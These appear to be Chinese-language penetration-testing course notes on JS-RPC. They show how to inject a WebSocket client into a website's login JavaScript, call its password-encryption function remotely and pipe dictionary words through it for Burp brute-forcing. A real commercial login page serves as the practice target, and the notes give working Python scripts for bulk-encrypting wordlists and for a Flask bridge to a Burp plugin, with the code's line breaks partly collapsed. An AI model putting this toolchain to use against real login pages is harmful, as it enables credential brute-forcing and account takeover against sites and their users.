案例演示
思路就是 這個 jsrpc遠程加載加密函數的方法就是? 在js代碼中進行插入一個 遠程加載的代碼 從而實現 :
第一步還是使用 js_tools 進行
查找算法的位置 這個可以幫助我們找到明文=>密文? 加密算法函數的位置
因為這個需要我們進行js前端代碼的修改 所以我們還需要使用本地覆蓋的方法
創建一個本地覆蓋的項目? 把這個帶有加密函數的 js文件替換到替換內容中去
在此之前 我們先 進行聯動一下
執行hook 然后我們修改一下 加密函數那個位置的代碼
var demo =new H1client("ws://127.0.0.1:12080/ws?group=xiaodi&name=xiaodisec");
//這個是 進行遠程的會話連接
demo.regAction("pass",function(resolve,param){ //創建一個新的行為 pass 他的作用就是調用 l() 函數 這樣我們進行連接的時候這個l() 其實就是被調用到了遠程地址的位置 :ws://127.0.0.1:12080/ws?group=xiaodi&name=xiaodise 這個就是我們的遠程地址resolve(l(param));
})// 備用代碼
var demo = new Hlclient("ws://127.0.0.1:12080/ws?group=xiaodi");demo.regAction("pass",function(resolve,param){resolve(l(param));});
第二個練習案例
?先導入??內的代碼
https://passport.meituan.com/account/unitivelogin
然后我們根據這個發起程序進行調試堆棧找加密的地方
var demo = new Hlclient("ws://127.0.0.1:12080/ws?group=xiaodi");
// 創建一個rpc的實例 實例的地址是 //127.0.0.1:12080 密碼是 xiaodidemo.regAction("pass",function(resolve,param){resolve(encrypt.encrypt(param));});// 創建實例的一個方法 名稱為 pass 需要傳入一個參數 param
然后完成這些之后 我們直接訪問本地的console 就完事了
http://127.0.0.1:12080/go?group=xiaodi&action=pass¶m=123456
因為xiaodi這個組內只有一個 方法所以我們是不用寫name的? 但是如果需要多個接口需要給接口名字
這個就是123456加密的數據
可以使用對方的瀏覽器測試 我們把密碼寫為 123456
但是密碼變了? 所以這個對方是使用的特點庫并且是有偏移的
每次刷新
http://127.0.0.1:12080/go?group=xiaodi&action=pass¶m=123456
也會進行變化?
聯動burp進行爆破的思路
對于這樣的js保護的加密我們進行bp的思路 :1、直接把字典換為加密之后的 然后使用加密之后的字典進行 bp? ?2、使用加密邏輯的接口(auto decode插件的功能) 然后我們只需使用明文字典進行bp即可
但是這個mt的這個肯定是不行的因為是動態的
當然思路是通的 讓ai 寫個腳本
import requests
import json
from urllib.parse import quote
import timedef encrypt_data(dictionary_path, output_file):"""讀取字典文件,發送加密請求,保存加密結果:param dictionary_path: 字典文件路徑:param output_file: 結果保存路徑"""# 讀取字典文件try:with open(dictionary_path, 'r', encoding='utf-8') as f:words = [line.strip() for line in f if line.strip()]print(f"成功讀取字典文件,共 {len(words)} 個條目")except Exception as e:print(f"讀取字典文件失敗: {str(e)}")return# 處理每個單詞的加密請求results = []success_count = 0fail_count = 0print("\n開始加密處理...")for i, word in enumerate(words):try:# URL編碼并構造請求URLencoded_word = quote(word)url = f"http://127.0.0.1:12080/go?group=xiaodi&action=pass¶m={encoded_word}"# 發送HTTP請求response = requests.get(url, timeout=10)response.raise_for_status() # 檢查HTTP錯誤# 解析JSON響應并提取data字段json_data = response.json()if 'data' in json_data:encrypted = json_data['data']results.append(f"{word} -> {encrypted}")success_count += 1status = "?"else:results.append(f"{word} -> 錯誤: 響應中缺少data字段")fail_count += 1status = "?"# 進度顯示progress = (i + 1) / len(words) * 100print(f"[{status}] [{i+1}/{len(words)} {progress:.1f}%] {word.ljust(20)} => {encrypted if 'data' in json_data else 'ERROR'}")except requests.exceptions.RequestException as e:results.append(f"{word} -> 網絡請求失敗: {str(e)}")fail_count += 1print(f"[?] [{i+1}/{len(words)}] {word} - 網絡錯誤: {str(e)}")except json.JSONDecodeError:results.append(f"{word} -> 錯誤: 無效的JSON響應")fail_count += 1print(f"[?] [{i+1}/{len(words)}] {word} - 響應不是有效的JSON")except Exception as e:results.append(f"{word} -> 未知錯誤: {str(e)}")fail_count += 1print(f"[?] [{i+1}/{len(words)}] {word} - 錯誤: {str(e)}")# 添加延遲避免服務器壓力time.sleep(0.1)# 保存結果到文件try:with open(output_file, 'w', encoding='utf-8') as f:f.write("\n".join(results))print(f"\n處理完成: 成功 {success_count}, 失敗 {fail_count}")print(f"加密結果已保存到: {output_file}")except Exception as e:print(f"結果保存失敗: {str(e)}")if __name__ == "__main__":# 配置參數dictionary_file = "1.txt" # 字典文件路徑result_file = "encrypted_results.txt" # 結果文件路徑print("="*60)print("字典加密處理工具")print("="*60)print(f"字典文件: {dictionary_file}")print(f"結果文件: {result_file}")print(f"目標API: http://127.0.0.1:12080/go?group=xiaodi&action=pass¶m=")print("="*60 + "\n")encrypt_data(dictionary_file, result_file)
第二種方法 : 使用接口加密
明文字典爆破 這個就可以應用在動態 加密數據 因為接口也是動態的
聯動? 先改一下設置
然后這個還需要一個監聽的 接口的腳本 :
import requests
import json
from urllib.parse import quote
from flask import Flask, requestapp = Flask(__name__)
url = "http://localhost:12080/go" # 這個需要和 rpc的端口一致
@app.route('/encode',methods=["POST"]) #訪問這個 /encode的時候需要帶參數
def encrypt(): param = request.form.get('dataBody') # 獲取 post 參數 #print(json.dumps(param))param_headers = request.form.get('dataHeaders') # 獲取 post 參數 這個參數需要進行傳遞param_requestorresponse = request.form.get('requestorresponse') # 獲取 post 參數 data = {"group": "xiaodi",# "name": "xiaodisec","action": "pass","param": json.dumps(param)}res = requests.post(url, data=data) #這里換get也是可以的encry_param = json.loads(res.text)['data']print(encry_param)if param_requestorresponse == "request": return param_headers + "\r\n\r\n\r\n\r\n" + encry_param return encry_param@app.route('/decode',methods=["POST"])
def decrypt(): param = request.form.get('dataBody') # 獲取 post 參數 param_headers = request.form.get('dataHeaders') # 獲取 post 參數 param_requestorresponse = request.form.get('requestorresponse') # 獲取 post 參數 print(param)data = {"group": "xiaodi","name": "xiaodisec","action": "dec","param": param}res = requests.post(url, data=data) #這里換get也是可以的decrypt_param = json.loads(res.text)['data']print(decrypt_param)if param_requestorresponse == "request": return param_headers + "\r\n\r\n\r\n\r\n" + decrypt_param else: return decrypt_param if __name__ == '__main__': app.debug = True # 設置調試模式,生產模式的時候要關掉debug app.run(host="0.0.0.0",port="8888")
這個是根據 .jar 插件改的
這個聯動的原理:? 就是
這個腳本會監聽本地的8888? 然后 aoto對應的就是 8.8.8.8 無論是加密還是解密
我們訪問web的時候這個插件會進行轉發到 把加密的數據 發到 8.8.8.8 (數據的定位需要進行工具的配置) 然后 這個 8.8.8.8 web會根據 falsk的指令然后去訪問??
127.0.0.1:12080/go?group=xiaodi&action=pass¶m=123
然后param 是 8888 端口進行轉發的數據 就會顯示加解密(這邊是實現的加密) 然后接口獲得加密數據之后 就會對我們的數據包的參數進行 加密為加密的數據? 這樣我們就能單憑借 明文字典就能實現bp